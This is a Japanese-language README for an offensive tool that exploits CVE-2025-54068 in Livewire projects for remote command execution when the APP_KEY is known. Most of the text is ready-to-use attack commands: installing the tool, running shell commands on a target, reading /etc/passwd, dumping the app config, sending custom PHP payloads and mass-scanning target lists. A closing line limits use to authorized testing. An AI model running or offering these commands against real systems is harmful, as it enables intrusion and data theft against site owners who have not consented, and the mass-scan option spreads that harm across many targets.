haxorstars/cve-2025-54068CVE-2025-54068 および Livewire プロジェクトのリモートコマンド実行を悪用するために設計されたツール。
このツールは、Livewire プロジェクトの APP_KEY が既知である場合に CVE-2025-54068 を悪用してリモートコマンド実行を行うために設計されたツールです。
本ツールは、Synacktiv によるオリジナルプロジェクトをリコードしたものです：
核となるコンセプトと手法は元の実装に基づいています。 このバージョンでは、使いやすさと柔軟性を向上させるための小規模な機能強化と追加機能が含まれています。
pipx を使用してツールをインストールします：
pipx install git+https://github.com/haxorstars/CVE-2025-54068
または uv を使用：
uv tool install git+https://github.com/haxorstars/CVE-2025-54068
単一のターゲットに対して実行：
livewire-rce-2025 -u target.com
カスタムパラメータを使用：
livewire-rce-2025 -u https://target.com -p "id;uname -a;pwd;ls -la"
定義済みのカスタム関数を実行：
livewire-rce-2025 -u target.com --custom-function "shell:ls -la"
livewire-rce-2025 -u target.com --custom-function "read:/etc/passwd"
livewire-rce-2025 -u target.com --custom-function "phpinfo"
livewire-rce-2025 -u target.com --custom-function "config"
1つのコマンドで複数の関数を組み合わせる：
livewire-rce-2025 -u target.com --custom-function "shell:whoami && shell:id && read:/etc/passwd"
独自の PHP ペイロードファイルを使用：
livewire-rce-2025 -u target.com --custom-file custom.php --param "shell:id"
ターゲットに送信せずにペイロードを生成：
livewire-rce-2025 -generate-payload --custom-function "shell:ls -la"
またはカスタム PHP ファイルを使用：
livewire-rce-2025 -generate-payload --custom-file custom.php
ファイルから複数のターゲットをスキャン：
livewire-rce-2025 -mass-check targets.txt -o results.json
カスタムスレッド数を使用：
livewire-rce-2025 -mass-check targets.txt -t 20 -o results.json
このツールは教育目的および許可されたセキュリティテスト目的でのみ使用してください。自分が所有していない、または明示的なテスト許可を得ていないシステムに対して使用しないでください。
Happy hacking😄